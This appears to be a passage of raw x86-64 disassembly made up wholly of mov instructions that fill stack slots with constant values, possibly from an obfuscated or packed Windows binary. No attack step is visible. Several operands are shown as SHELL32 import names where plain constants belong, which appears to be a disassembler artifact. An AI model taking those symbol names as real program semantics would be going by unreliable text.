mov word [rsp + 0x2788], ax
mov dword [rsp + 0xa550], 0x67a1
mov dword [rsp + 0xa554], 0x7f13
mov dword [rsp + 0xa558], 0x779d
mov dword [rsp + 0xa55c], 0x3fb1
mov byte [rsp + 0x3db], 0xa
mov eax, 0x7c
mov word [rsp + 0x278c], ax
mov dword [rsp + 0xa560], 0x411e
mov dword [rsp + 0xa564], 0x4bae
mov eax, 0xe4d
mov word [rsp + 0x2790], ax
mov dword [rsp + 0xa568], 0x1d24
mov dword [rsp + 0xa56c], 0x20ed
mov byte [rsp + 0x3dc], 0x75
mov eax, 0xee6
mov word [rsp + 0x2794], ax
mov dword [rsp + 0xa570], 0x1af9
mov byte [rsp + 0x3dd], 0x63
mov dword [rsp + 0xa574], 0x7f2b
mov dword [rsp + 0xa578], 0x1706
mov eax, 0x35d
mov word [rsp + 0x2798], ax
mov byte [rsp + 0x3de], 0x55
mov dword [rsp + 0xa57c], 0x432a
mov dword [rsp + 0xa580], 0x1e8f
mov eax, reloc.SHELL32.dll_ILSaveToStream
mov word [rsp + 0x279c], ax
mov dword [rsp + 0xa584], 0xd91d
mov dword [rsp + 0xa588], 0x5927
mov byte [rsp + 0x3df], 0x5f
mov eax, 0xf11
mov word [rsp + 0x27a0], ax
mov dword [rsp + 0xa58c], 0x3360
mov dword [rsp + 0xa590], 0x2273
mov dword [rsp + 0xa594], 0xf8a3
mov dword [rsp + 0xa598], 0x1ea0
mov dword [rsp + 0xa59c], 0x6f26
mov byte [rsp + 0x3e0], 0xc
mov dword [rsp + 0xa5a0], 0x9012
mov dword [rsp + 0xa5a4], 0x8b1e
mov byte [rsp + 0x3e1], ILSaveToStream
mov byte [rsp + 0x3e2], 0x34
mov dword [rsp + 0xa5a8], 0xeaad
mov eax, 0xc37
mov word [rsp + 0x27a4], ax
mov dword [rsp + 0xa5ac], 0x5c3a
mov byte [rsp + 0x3e3], 0xaa
mov byte [rsp + 0x3e4], 0x48
mov eax, 0x62
mov word [rsp + 0x27a8], ax
mov dword [rsp + 0xa5b0], 0x25bf
mov byte [rsp + 0x3e5], 0x5b
mov dword [rsp + 0xa5b4], 0x6df8
mov eax, 0x3f0
mov word [rsp + 0x27ac], ax
mov dword [rsp + 0xa5b8], 0x579d
mov dword [rsp + 0xa5bc], 0xec1f
mov dword [rsp + 0xa5c0], 0x48b5
mov eax, 0x681
mov word [rsp + 0x27b0], ax
mov dword [rsp + 0xa5c4], 0x66b1
mov dword [rsp + 0xa5c8], 0x7656
mov byte [rsp + 0x3e6], 0x68
mov dword [rsp + 0xa5cc], 0x46a
mov byte [rsp + 0x3e7], 0x30
mov eax, 0x389
mov word [rsp + 0x27b4], ax
mov dword [rsp + 0xa5d0], 0x372f
mov dword [rsp + 0xa5d4], 0x1e26
mov dword [rsp + 0xa5d8], 0xff2c
mov byte [rsp + 0x3e8], 8
mov dword [rsp + 0xa5dc], 0xa6be
mov dword [rsp + 0xa5e0], 0x5701
mov dword [rsp + 0xa5e4], 0x58f4
mov dword [rsp + 0xa5e8], 0x1fb0
mov dword [rsp + 0xa5ec], 0x164d
mov byte [rsp + 0x3e9], 0x6a
mov byte [rsp + 0x3ea], 0x85
mov eax, 0x327
mov word [rsp + 0x27b8], ax
mov byte [rsp + 0x3eb], 0xd9
mov byte [rsp + 0x3ec], 0x7b
mov eax, 0x455
mov word [rsp + 0x27bc], ax
mov eax, 0x71c
mov word [rsp + 0x27c0], ax
mov byte [rsp + 0x3ed], 0x1a
mov dword [rsp + 0xa5f0], 0x27f
mov eax, 0x96d
mov word [rsp + 0x27c4], ax
mov dword [rsp + 0xa5f4], 0x4eb1
mov byte [rsp + 0x3ee], 0xcb
mov byte [rsp + 0x3ef], 0x70
mov eax, 0x95e
mov word [rsp + 0x27c8], ax
mov byte [rsp + 0x3f0], 0x84
mov eax, 0xa07
mov word [rsp + 0x27cc], ax
mov dword [rsp + 0xa5f8], 0x1306
mov dword [rsp + 0xa5fc], 0x6c32
mov dword [rsp + 0xa600], 0xfa68
mov byte [rsp + 0x3f1], 0x65
mov dword [rsp + 0xa604], 0x2d8c
mov dword [rsp + 0xa608], 0xf05d
mov eax, 0xe8e
mov word [rsp + 0x27d0], ax
mov byte [rsp + 0x3f2], 0x6b
mov dword [rsp + 0xa60c], 0x6c29
mov dword [rsp + 0xa610], 0x1463
mov byte [rsp + 0x3f3], 0x3c
mov dword [rsp + 0xa614], 0x2cd2
mov dword [rsp + 0xa618], 0x2e21
mov byte [rsp + 0x3f4], 0x27
mov eax, 0x4ee
mov word [rsp + 0x27d4], ax
mov byte [rsp + 0x3f5], 0x9a
mov byte [rsp + 0x3f6], 0xb9
mov dword [rsp + 0xa61c], 0x5bd5
mov dword [rsp + 0xa620], 0x535d
mov eax, 0x3a1
mov word [rsp + 0x27d8], ax
mov dword [rsp + 0xa624], 0x7e5f
mov dword [rsp + 0xa628], 0x7bdd
mov dword [rsp + 0xa62c], 0x14bd
mov dword [rsp + 0xa630], 0x8c9
mov dword [rsp + 0xa634], 0x1a
mov dword [rsp + 0xa638], 0x41ef
mov dword [rsp + 0xa63c], 0x4c59
mov byte [rsp + 0x3f7], 0x39
mov eax, 0xc89
mov word [rsp + 0x27dc], ax
mov byte [rsp + 0x3f8], 0xa6
mov dword [rsp + 0xa640], 0x7bc5
mov dword [rsp + 0xa644], 0x63b7
mov byte [rsp + 0x3f9], 0x66
mov dword [rsp + 0xa648], 0x109e
mov byte [rsp + 0x3fa], 0x1f
mov dword [rsp + 0xa64c], 0x63b1
mov eax, 0xc9f
mov word [rsp + 0x27e0], ax
mov eax, 0x92e
mov word [rsp + 0x27e4], ax
mov dword [rsp + 0xa650], 0x6c9f
mov dword [rsp + 0xa654], 0x6adb
mov dword [rsp + 0xa658], 0x1596
mov byte [rsp + 0x3fb], 0x4b
mov dword [rsp + 0xa65c], 0x5a0f
mov dword [rsp + 0xa660], 0x4946
mov dword [rsp + 0xa664], 0x4faa
mov dword [rsp + 0xa668], 0xe84a
mov eax, 0x34f
mov word [rsp + 0x27e8], ax
mov dword [rsp + 0xa66c], 0xaa45
mov dword [rsp + 0xa670], 0x41e1
mov dword [rsp + 0xa674], 0x612d
mov dword [rsp + 0xa678], 0x4f60
mov byte [rsp + 0x3fc], 0x44
mov dword [rsp + 0xa67c], 0x3844
mov dword [rsp + 0xa680], 0x57df
mov dword [rsp + 0xa684], 0xa386
mov byte [rsp + 0x3fd], 0xe
mov dword [rsp + 0xa688], 0x45d
mov byte [rsp + 0x3fe], 0x25
mov byte [rsp + 0x3ff], 0x2c
mov dword [rsp + 0xa68c], 0x7393
mov dword [rsp + 0xa690], 0x1ad0
mov eax, 0x7f7
mov word [rsp + 0x27ec], ax
mov dword [rsp + 0xa694], 0x433c
mov dword [rsp + 0xa698], 0x4f67
mov dword [rsp + 0xa69c], 0x35b1
mov dword [rsp + 0xa6a0], 0x73fc
mov byte [rsp + 0x400], 0x36
mov byte [rsp + 0x401], 0x1a
mov eax, 0xc5c
mov word [rsp + 0x27f0], ax
mov dword [rsp + 0xa6a4], 0x5df6
mov dword [rsp + 0xa6a8], 0x850d
mov byte [rsp + 0x402], 0x8f
mov dword [rsp + 0xa6ac], 0x4c81
mov dword [rsp + 0xa6b0], 0x5cb2
mov dword [rsp + 0xa6b4], 0x271c
mov eax, 0x4ee
mov word [rsp + 0x27f4], ax
mov dword [rsp + 0xa6b8], 0x33ca
mov dword [rsp + 0xa6bc], 0x27d4
mov eax, 0x30e
mov word [rsp + 0x27f8], ax
mov eax, 0xdef
mov word [rsp + 0x27fc], ax
mov byte [rsp + 0x403], 0xeb
mov dword [rsp + 0xa6c0], 0x6593
mov dword [rsp + 0xa6c4], 0x3e77
mov dword [rsp + 0xa6c8], 0x40d3
mov eax, 0xf58
mov word [rsp + 0x2800], ax
mov eax, 0x2cc
mov word [rsp + 0x2804], ax
mov dword [rsp + 0xa6cc], 0x3711
mov dword [rsp + 0xa6d0], 0x36e5
mov dword [rsp + 0xa6d4], 0x6c34
mov byte [rsp + 0x404], 9
mov dword [rsp + 0xa6d8], 0x513a
mov dword [rsp + 0xa6dc], 0x5bfa
mov byte [rsp + 0x405], 0x38
mov eax, ILIsParent
mov word [rsp + 0x2808], ax
mov dword [rsp + 0xa6e0], 0x1f1b
mov dword [rsp + 0xa6e4], 0xf27e
mov byte [rsp + 0x406], 0xd2
mov dword [rsp + 0xa6e8], 0x4ed5
mov dword [rsp + 0xa6ec], 0x531a
mov dword [rsp + 0xa6f0], 0x5e52
mov eax, 0x61f
mov word [rsp + 0x280c], ax
mov dword [rsp + 0xa6f4], 0x406e
mov dword [rsp + 0xa6f8], 0x2428
mov dword [rsp + 0xa6fc], 0x4433
mov dword [rsp + 0xa700], 0xe1cb
mov dword [rsp + 0xa704], 0x6199
mov dword [rsp + 0xa708], 0x3538
mov dword [rsp + 0xa70c], 0x5686
mov dword [rsp + 0xa710], 0x164d
mov dword [rsp + 0xa714], 0x8f5f
mov eax, 0x65b
mov word [rsp + 0x2810], ax
mov dword [rsp + 0xa718], 0x2e6e
mov dword [rsp + 0xa71c], 0x272
mov byte [rsp + 0x407], 0xa7
mov dword [rsp + 0xa720], 0xfd52
mov dword [rsp + 0xa724], 0x3726
mov dword [rsp + 0xa728], 0xa6
mov eax, 0x25c
mov word [rsp + 0x2814], ax
mov dword [rsp + 0xa72c], 0x1b93
mov byte [rsp + 0x408], 0xec
mov dword [rsp + 0xa730], 0x116
mov dword [rsp + 0xa734], 0xb66b
mov dword [rsp + 0xa738], 0x615b
mov dword [rsp + 0xa73c], 0x71cf
mov dword [rsp + 0xa740], 0x87d
mov dword [rsp + 0xa744], 0xf7b7
mov dword [rsp + 0xa748], 0x43f6
mov eax, 0x23f
mov word [rsp + 0x2818], ax
mov dword [rsp + 0xa74c], 0x3db3
mov dword [rsp + 0xa750], 0x717b
mov byte [rsp + 0x409], 0x4e
mov byte [rsp + 0x40a], 0x65
mov dword [rsp + 0xa754], 0x2403
mov byte [rsp + 0x40b], 0x5a
mov eax, 0x64a
mov word [rsp + 0x281c], ax
mov dword [rsp + 0xa758], 0x221
mov byte [rsp + 0x40c], 0xcb
mov dword [rsp + 0xa75c], 0x937
mov eax, 0x97e
mov word [rsp + 0x2820], ax
mov byte [rsp + 0x40d], 0x21
mov dword [rsp + 0xa760], 0x636a
mov dword [rsp + 0xa764], 0x16f7
mov dword [rsp + 0xa768], 0x1f6e
mov dword [rsp + 0xa76c], 0x6ef5
mov eax, 0x799
mov word [rsp + 0x2824], ax
mov byte [rsp + 0x40e], 0x97
mov dword [rsp + 0xa770], 0xeca0
mov dword [rsp + 0xa774], 0x2b16
mov byte [rsp + 0x40f], 0xc9
mov byte [rsp + 0x410], 0x58
mov byte [rsp + 0x411], 0x74
mov dword [rsp + 0xa778], 0x5e42
mov dword [rsp + 0xa77c], 0x5e4
mov byte [rsp + 0x412], 0x1b
mov eax, 0x76b
mov word [rsp + 0x2828], ax
mov byte [rsp + 0x413], 0xee
mov dword [rsp + 0xa780], 0xa3f
mov byte [rsp + 0x414], 0x58
mov eax, 0x67d
mov word [rsp + 0x282c], ax
mov eax, 0x151
mov word [rsp + 0x2830], ax
mov byte [rsp + 0x415], 0xfe
mov eax, 0x3f9
mov word [rsp + 0x2834], ax
mov dword [rsp + 0xa784], 0x35c
mov dword [rsp + 0xa788], 0x206f
mov dword [rsp + 0xa78c], 0x7963
mov eax, 0x63c
mov word [rsp + 0x2838], ax
mov eax, 0x20
mov word [rsp + 0x283c], ax
mov byte [rsp + 0x416], 0xe4
mov dword [rsp + 0xa790], 0x8848
mov eax, 0x30c
mov word [rsp + 0x2840], ax
mov dword [rsp + 0xa794], 0xf799
mov dword [rsp + 0xa798], 0x5338
mov dword [rsp + 0xa79c], 0xc70a
mov dword [rsp + 0xa7a0], 0x6b3f
mov byte [rsp + 0x417], 0x49
mov byte [rsp + 0x418], 0x22
mov byte [rsp + 0x419], 0x68
mov byte [rsp + 0x41a], 0x5c
mov dword [rsp + 0xa7a4], 0xa870
mov dword [rsp + 0xa7a8], 0x110b
mov byte [rsp + 0x41b], 0xef
mov dword [rsp + 0xa7ac], 0x7060
mov dword [rsp + 0xa7b0], 0x325f
mov dword [rsp + 0xa7b4], 0x45a9
mov dword [rsp + 0xa7b8], 0x3154
mov byte [rsp + 0x41c], 0xf1
mov eax, 0x79c
mov word [rsp + 0x2844], ax
mov byte [rsp + 0x41d], 0xe8
mov byte [rsp + 0x41e], 0xa9
mov dword [rsp + 0xa7bc], 0x7ca1
mov dword [rsp + 0xa7c0], 0x4cad
mov byte [rsp + 0x41f], 0x3c
mov byte [rsp + 0x420], 0x9f
mov dword [rsp + 0xa7c4], 0xedde
mov dword [rsp + 0xa7c8], 0x78ae
mov dword [rsp + 0xa7cc], 0x4b18
mov dword [rsp + 0xa7d0], 0x1515
mov dword [rsp + 0xa7d4], 0x1228
mov byte [rsp + 0x421], 0x4f
mov eax, 0x821
mov word [rsp + 0x2848], ax
mov dword [rsp + 0xa7d8], 0x4ba
mov eax, 0x49f
mov word [rsp + 0x284c], ax
mov dword [rsp + 0xa7dc], 0x7937
mov eax, 0xca2
mov word [rsp + 0x2850], ax
mov dword [rsp + 0xa7e0], 0x50a8
mov dword [rsp + 0xa7e4], 0x32fe
mov dword [rsp + 0xa7e8], 0x5a6a
mov dword [rsp + 0xa7ec], 0x65c1
mov eax, 0x698
mov word [rsp + 0x2854], ax
mov dword [rsp + 0xa7f0], 0x7a8c
mov dword [rsp + 0xa7f4], 0xfe06
mov byte [rsp + 0x422], 0xc0
mov dword [rsp + 0xa7f8], 0x20c8
mov dword [rsp + 0xa7fc], 0x2887
mov dword [rsp + 0xa800], 0x7a0a
mov dword [rsp + 0xa804], 0x510e
mov dword [rsp + 0xa808], 0x6b57
mov byte [rsp + 0x423], 0x54
mov dword [rsp + 0xa80c], 0xc718
mov eax, 0x4fb
mov word [rsp + 0x2858], ax
mov dword [rsp + 0xa810], 0x7e8c
mov byte [rsp + 0x424], 0x46
mov dword [rsp + 0xa814], 0x330c
mov byte [rsp + 0x425], 0xcb
mov eax, 0x6e4
mov word [rsp + 0x285c], ax
mov dword [rsp + 0xa818], 0x226
mov byte [rsp + 0x426], 0x56
mov dword [rsp + 0xa81c], 0x60cf
mov dword [rsp + 0xa820], 0x345b
mov byte [rsp + 0x427], 0xc7
mov dword [rsp + 0xa824], 0x3efb
mov byte [rsp + 0x428], 0x7b
mov eax, 0x634
mov word [rsp + 0x2860], ax
mov dword [rsp + 0xa828], 0x49cc
mov dword [rsp + 0xa82c], 0x16d2
mov dword [rsp + 0xa830], 0x9036
mov eax, 0x699
mov word [rsp + 0x2864], ax
mov dword [rsp + 0xa834], 0x3258
mov eax, 0x4ad
mov word [rsp + 0x2868], ax
mov dword [rsp + 0xa838], 0x377
mov dword [rsp + 0xa83c], 0x2035
mov dword [rsp + 0xa840], 0x542b
mov dword [rsp + 0xa844], 0x7089
mov dword [rsp + 0xa848], 0x896e
mov dword [rsp + 0xa84c], 0x14f0
mov dword [rsp + 0xa850], 0x56c9
mov dword [rsp + 0xa854], 0x71df
mov byte [rsp + 0x429], 0x34
mov byte [rsp + 0x42a], 0xbd
mov eax, 0x209
mov word [rsp + 0x286c], ax
mov eax, 0x44c
mov word [rsp + 0x2870], ax
mov byte [rsp + 0x42b], 0x5d
mov dword [rsp + 0xa858], 0x7836
mov dword [rsp + 0xa85c], 0x98e1
mov dword [rsp + 0xa860], 0x2d8
mov dword [rsp + 0xa864], 0x6f4
mov dword [rsp + 0xa868], 0x245f
mov dword [rsp + 0xa86c], 0x7dd1
mov dword [rsp + 0xa870], 0x6e20
mov dword [rsp + 0xa874], 0x5ea8
mov dword [rsp + 0xa878], 0xf614
mov dword [rsp + 0xa87c], 0x5af7
mov dword [rsp + 0xa880], 0x5e98
mov byte [rsp + 0x42c], 0x93
mov dword [rsp + 0xa884], 0xa068
mov dword [rsp + 0xa888], 0x2b7d
mov dword [rsp + 0xa88c], 0x2727
mov byte [rsp + 0x42d], 0x5b
mov dword [rsp + 0xa890], 0x7486
mov dword [rsp + 0xa894], 0x7d40
mov dword [rsp + 0xa898], 0x51f8
mov byte [rsp + 0x42e], 0xf
mov dword [rsp + 0xa89c], 0x54ca
mov dword [rsp + 0xa8a0], 0xc0dc
mov eax, 0x568
mov word [rsp + 0x2874], ax
mov dword [rsp + 0xa8a4], 0x25a9
mov byte [rsp + 0x42f], 0xa8
mov byte [rsp + 0x430], 0x66
mov dword [rsp + 0xa8a8], 0x60c1
mov dword [rsp + 0xa8ac], 0x1696
mov dword [rsp + 0xa8b0], 0x9b8a
mov dword [rsp + 0xa8b4], 0x889
mov dword [rsp + 0xa8b8], 0x6c62
mov dword [rsp + 0xa8bc], 0x83d9
mov eax, 0x41e
mov word [rsp + 0x2878], ax
mov dword [rsp + 0xa8c0], 0x6b72
mov eax, 0x862
mov word [rsp + 0x287c], ax
mov byte [rsp + 0x431], 0xb
mov dword [rsp + 0xa8c4], 0x4706
mov dword [rsp + 0xa8c8], 0xfe32
mov byte [rsp + 0x432], 0xd4
mov byte [rsp + 0x433], 0xe6
mov dword [rsp + 0xa8cc], 0x315b
mov dword [rsp + 0xa8d0], 0x7650
mov eax, 0x75b
mov word [rsp + 0x2880], ax
mov dword [rsp + 0xa8d4], 0x14be
mov dword [rsp + 0xa8d8], 0x2960
mov dword [rsp + 0xa8dc], 0x1d29
mov dword [rsp + 0xa8e0], 0x4967
mov dword [rsp + 0xa8e4], 0x7c04
mov byte [rsp + 0x434], 0x15
mov eax, 0x759
mov word [rsp + 0x2884], ax
mov dword [rsp + 0xa8e8], 0xf75
mov eax, 0xee6
mov word [rsp + 0x2888], ax
mov dword [rsp + 0xa8ec], 0xeb84
mov byte [rsp + 0x435], 0xaf
mov dword [rsp + 0xa8f0], 0x7798
mov byte [rsp + 0x436], 0xb2
mov dword [rsp + 0xa8f4], 0x761
mov byte [rsp + 0x437], 0x92
mov dword [rsp + 0xa8f8], 0x3d56
mov dword [rsp + 0xa8fc], 0x1620
mov eax, 0x625
mov word [rsp + 0x288c], ax
mov dword [rsp + 0xa900], 0x9bd0
mov dword [rsp + 0xa904], 0x664f
mov eax, 0xbd
mov word [rsp + 0x2890], ax
mov dword [rsp + 0xa908], 0xa558
mov dword [rsp + 0xa90c], 0x50a
mov eax, 0xe2c
mov word [rsp + 0x2894], ax
mov byte [rsp + 0x438], 0xc1
mov dword [rsp + 0xa910], 0x4330
mov byte [rsp + 0x439], 0x57
mov dword [rsp + 0xa914], 0x5a10
mov byte [rsp + 0x43a], 0x1d
mov byte [rsp + 0x43b], 0x30
mov dword [rsp + 0xa918], 0xd7a9
mov byte [rsp + 0x43c], 0x65
mov dword [rsp + 0xa91c], 0x892a
mov dword [rsp + 0xa920], 0xa86
mov byte [rsp + 0x43d], 0x90
mov dword [rsp + 0xa924], 0x2368
mov dword [rsp + 0xa928], 0xaf68
mov dword [rsp + 0xa92c], 0x78b9
mov dword [rsp + 0xa930], 0xf519
mov byte [rsp + 0x43e], 0x4c
mov dword [rsp + 0xa934], 0x15da
mov dword [rsp + 0xa938], 0x1966
mov dword [rsp + 0xa93c], 0x70c3
mov byte [rsp + 0x43f], 0x1b
mov byte [rsp + 0x440], 0x77
mov dword [rsp + 0xa940], 0x3ca8
mov dword [rsp + 0xa944], 0x7dd9
mov dword [rsp + 0xa948], 0x725a
mov eax, 0x2e2
mov word [rsp + 0x2898], ax
mov dword [rsp + 0xa94c], 0x6205
mov dword [rsp + 0xa950], 0xfd5a
mov eax, 0x477
mov word [rsp + 0x289c], ax
mov byte [rsp + 0x441], 0x61
mov eax, 0x58c
mov word [rsp + 0x28a0], ax
mov eax, 0x21c
mov word [rsp + 0x28a4], ax
mov dword [rsp + 0xa954], 0x2d1
mov byte [rsp + 0x442], 0xe1
mov dword [rsp + 0xa958], 0x1d00
mov eax, 0xaf3
mov word [rsp + 0x28a8], ax
mov dword [rsp + 0xa95c], 0x188e
mov byte [rsp + 0x443], 1
mov dword [rsp + 0xa960], 0x9a63
mov dword [rsp + 0xa964], 0xc2c
mov byte [rsp + 0x444], 0x21
mov dword [rsp + 0xa968], 0x5237
mov byte [rsp + 0x445], 0x4a
mov dword [rsp + 0xa96c], 0x895f
mov dword [rsp + 0xa970], 0x4d64
mov byte [rsp + 0x446], 0x70
mov dword [rsp + 0xa974], 0x56fb
mov dword [rsp + 0xa978], 0x58cc
mov dword [rsp + 0xa97c], 0x48e5
mov eax, 0x7b9
mov word [rsp + 0x28ac], ax
mov dword [rsp + 0xa980], 0x4346
mov eax, 0xaf5
mov word [rsp + 0x28b0], ax
mov dword [rsp + 0xa984], 0x7ab4
mov dword [rsp + 0xa988], 0x1ea5
mov dword [rsp + 0xa98c], 0xb398
mov dword [rsp + 0xa990], 0x1904
mov eax, 0x311
mov word [rsp + 0x28b4], ax
mov dword [rsp + 0xa994], 0x8ce8
mov byte [rsp + 0x447], 0x54
mov dword [rsp + 0xa998], 0x7837
mov dword [rsp + 0xa99c], 0x36a8
mov eax, 0x544
mov word [rsp + 0x28b8], ax
mov dword [rsp + 0xa9a0], 0xc0c4
mov dword [rsp + 0xa9a4], 0xc29c
mov eax, 0x7ea
mov word [rsp + 0x28bc], ax
mov dword [rsp + 0xa9a8], 0x3ffd
mov eax, 0x427
mov word [rsp + 0x28c0], ax
mov dword [rsp + 0xa9ac], 0x5dd8
mov byte [rsp + 0x448], 0x2c
mov byte [rsp + 0x449], 0x46
mov dword [rsp + 0xa9b0], 0x5913
mov dword [rsp + 0xa9b4], 0x5369
mov byte [rsp + 0x44a], 0x57
mov dword [rsp + 0xa9b8], 0x4f10
mov eax, 0x87
mov word [rsp + 0x28c4], ax
mov eax, 0x5e6
mov word [rsp + 0x28c8], ax
mov dword [rsp + 0xa9bc], 0x3e3a
mov byte [rsp + 0x44b], 0xc7
mov eax, 0x341
mov word [rsp + 0x28cc], ax
mov dword [rsp + 0xa9c0], 0x6501
mov dword [rsp + 0xa9c4], 0x7131
mov dword [rsp + 0xa9c8], 0x758c
mov dword [rsp + 0xa9cc], 0x54ed
mov dword [rsp + 0xa9d0], 0x46de
mov eax, 0xfde
mov word [rsp + 0x28d0], ax
mov dword [rsp + 0xa9d4], 0x4d66
mov dword [rsp + 0xa9d8], 0x5123
mov dword [rsp + 0xa9dc], 0x70fc
mov byte [rsp + 0x44c], 0x58
mov dword [rsp + 0xa9e0], 0x55f8
mov byte [rsp + 0x44d], 0x39
mov eax, 0xc6e
mov word [rsp + 0x28d4], ax
mov byte [rsp + 0x44e], 0x8b
mov dword [rsp + 0xa9e4], 0x132f
mov byte [rsp + 0x44f], 0xfc
mov dword [rsp + 0xa9e8], 0xd8f8
mov dword [rsp + 0xa9ec], 0x7cd4
mov dword [rsp + 0xa9f0], 0x5a0a
mov byte [rsp + 0x450], 0xfc
mov dword [rsp + 0xa9f4], 0x965
mov byte [rsp + 0x451], 0xea
mov dword [rsp + 0xa9f8], 0x1918
mov dword [rsp + 0xa9fc], 0x284f
mov eax, 0xa57
mov word [rsp + 0x28d8], ax
mov dword [rsp + 0xaa00], 0x6e18
mov dword [rsp + 0xaa04], 0x4163
mov dword [rsp + 0xaa08], 0xe687
mov dword [rsp + 0xaa0c], 0x6e2
mov dword [rsp + 0xaa10], 0x9883
mov dword [rsp + 0xaa14], 0xa1bd
mov byte [rsp + 0x452], 0x90
mov dword [rsp + 0xaa18], 0xdc0a
mov dword [rsp + 0xaa1c], 0x6999
mov dword [rsp + 0xaa20], 0x7a2d
mov byte [rsp + 0x453], 0x5d
mov dword [rsp + 0xaa24], 0x4587
mov byte [rsp + 0x454], 0x40
mov eax, 0x2eb
mov word [rsp + 0x28dc], ax
mov dword [rsp + 0xaa28], 0x5f40
mov dword [rsp + 0xaa2c], 0x24f5
mov dword [rsp + 0xaa30], 0x52df
mov dword [rsp + 0xaa34], 0x7534
mov dword [rsp + 0xaa38], 0x2ed
mov byte [rsp + 0x455], 0xac
mov dword [rsp + 0xaa3c], 0x5654
mov dword [rsp + 0xaa40], 0x229a
mov dword [rsp + 0xaa44], 0x4bb6
mov dword [rsp + 0xaa48], 0x7cb8
mov dword [rsp + 0xaa4c], 0x3d8e
mov dword [rsp + 0xaa50], 0xa67c
mov byte [rsp + 0x456], 0x32
mov byte [rsp + 0x457], 0x6e
mov byte [rsp + 0x458], 0x7b
mov dword [rsp + 0xaa54], 0x45e0
mov byte [rsp + 0x459], 0x79
mov dword [rsp + 0xaa58], 0xa073
mov byte [rsp + 0x45a], 0x7a
mov dword [rsp + 0xaa5c], 0x6447
mov byte [rsp + 0x45b], 0x2e
mov dword [rsp + 0xaa60], 0x75d1
mov dword [rsp + 0xaa64], 0x5000
mov dword [rsp + 0xaa68], 0x5bc2
mov dword [rsp + 0xaa6c], 0xa010
mov dword [rsp + 0xaa70], 0x383d
mov dword [rsp + 0xaa74], 0x8e17
mov dword [rsp + 0xaa78], 0x5957
mov dword [rsp + 0xaa7c], 0x3160
mov byte [rsp + 0x45c], 0xa8
mov byte [rsp + 0x45d], 5
mov dword [rsp + 0xaa80], 0x8954
mov dword [rsp + 0xaa84], 0x3a04
mov byte [rsp + 0x45e], 0xe5
mov dword [rsp + 0xaa88], 0x6de7
mov eax, 0xb6e
mov word [rsp + 0x28e0], ax
mov dword [rsp + 0xaa8c], 0xa6b
mov eax, 0x81d
mov word [rsp + 0x28e4], ax
mov dword [rsp + 0xaa90], 0x1ca9
mov dword [rsp + 0xaa94], 0x5e79
mov eax, 0xc0c
mov word [rsp + 0x28e8], ax
mov dword [rsp + 0xaa98], 0x6e02
mov dword [rsp + 0xaa9c], 0x61a0
mov byte [rsp + 0x45f], 0x56
mov dword [rsp + 0xaaa0], 0xf36c
mov dword [rsp + 0xaaa4], 0x5f4c
mov dword [rsp + 0xaaa8], 0x1e02
mov dword [rsp + 0xaaac], 0x4b0f
mov dword [rsp + 0xaab0], 0x5c3
mov dword [rsp + 0xaab4], 0x6646
mov eax, 0x93
mov word [rsp + 0x28ec], ax
mov byte [rsp + 0x460], 0x5c
mov eax, 0xf65
mov word [rsp + 0x28f0], ax
mov eax, 0x78b
mov word [rsp + 0x28f4], ax
mov dword [rsp + 0xaab8], 0x4b6f
mov eax, 0x6a5
mov word [rsp + 0x28f8], ax
mov dword [rsp + 0xaabc], 0x3e06
mov eax, 0x8bd
mov word [rsp + 0x28fc], ax
mov eax, 0x8f
mov word [rsp + 0x2900], ax
mov eax, 0x52c
mov word [rsp + 0x2904], ax
mov dword [rsp + 0xaac0], 0x3ad1
mov dword [rsp + 0xaac4], 0x6e1f
mov dword [rsp + 0xaac8], 0x2c19
mov byte [rsp + 0x461], 0x29
mov dword [rsp + 0xaacc], 0x53fb
mov dword [rsp + 0xaad0], 0x17da
mov byte [rsp + 0x462], 0x30
mov dword [rsp + 0xaad4], 0x3a75
mov dword [rsp + 0xaad8], 0x3a35
mov dword [rsp + 0xaadc], 0x5a67
mov eax, 0x703
mov word [rsp + 0x2908], ax
mov byte [rsp + 0x463], 0x66
mov dword [rsp + 0xaae0], 0x2db3
mov dword [rsp + 0xaae4], 0x1898
mov byte [rsp + 0x464], 0x76
mov dword [rsp + 0xaae8], 0x9828
mov eax, 0x4a3
mov word [rsp + 0x290c], ax
mov dword [rsp + 0xaaec], 0x2112
mov dword [rsp + 0xaaf0], 0x28d3
mov eax, 0xa4e
mov word [rsp + 0x2910], ax
mov eax, 0x7e2
mov word [rsp + 0x2914], ax
mov dword [rsp + 0xaaf4], 0x7045
mov dword [rsp + 0xaaf8], 0x55ad
mov eax, 0x380
mov word [rsp + 0x2918], ax
mov dword [rsp + 0xaafc], 0x35b4
mov dword [rsp + 0xab00], 0x2989
mov dword [rsp + 0xab04], 0x15c4
mov dword [rsp + 0xab08], 0x399
mov dword [rsp + 0xab0c], 0x1546
mov dword [rsp + 0xab10], 0x387e
mov dword [rsp + 0xab14], 0x797f
mov dword [rsp + 0xab18], 0x92c8
mov dword [rsp + 0xab1c], 0x7b2c
mov dword [rsp + 0xab20], 0xe44
mov eax, 0x9b6
mov word [rsp + 0x291c], ax
mov byte [rsp + 0x465], 0xcf
mov dword [rsp + 0xab24], 0x5525
mov dword [rsp + 0xab28], 0x78ee
mov dword [rsp + 0xab2c], 0x30fe
mov dword [rsp + 0xab30], 0x56df
mov dword [rsp + 0xab34], 0x2542
mov dword [rsp + 0xab38], 0x207
mov dword [rsp + 0xab3c], 0x6a9d
mov byte [rsp + 0x466], 0x2b
mov dword [rsp + 0xab40], 0x316a
mov eax, 0x911
mov word [rsp + 0x2920], ax
mov dword [rsp + 0xab44], 0x7879
mov eax, 0x4bc
mov word [rsp + 0x2924], ax
mov byte [rsp + 0x467], 0xfa
mov dword [rsp + 0xab48], 0x5f60
mov eax, 0x4a4
mov word [rsp + 0x2928], ax
mov dword [rsp + 0xab4c], 0xe261
mov dword [rsp + 0xab50], 0x2abc
mov byte [rsp + 0x468], 4
mov dword [rsp + 0xab54], 0xe566
mov dword [rsp + 0xab58], 0x1571
mov dword [rsp + 0xab5c], 0xb73
mov byte [rsp + 0x469], 0x17
mov dword [rsp + 0xab60], 0x5cd3
mov dword [rsp + 0xab64], 0x658c
mov dword [rsp + 0xab68], 0x71b1
mov dword [rsp + 0xab6c], 0xf4c5
mov eax, 0xd48
mov word [rsp + 0x292c], ax
mov dword [rsp + 0xab70], 0x4500
mov dword [rsp + 0xab74], 0x1f56
mov dword [rsp + 0xab78], 0x3e41
mov byte [rsp + 0x46a], 0x22
mov byte [rsp + 0x46b], 0x45
mov eax, 0xc3d
mov word [rsp + 0x2930], ax
mov eax, 0x341
mov word [rsp + 0x2934], ax
mov dword [rsp + 0xab7c], 0x7661
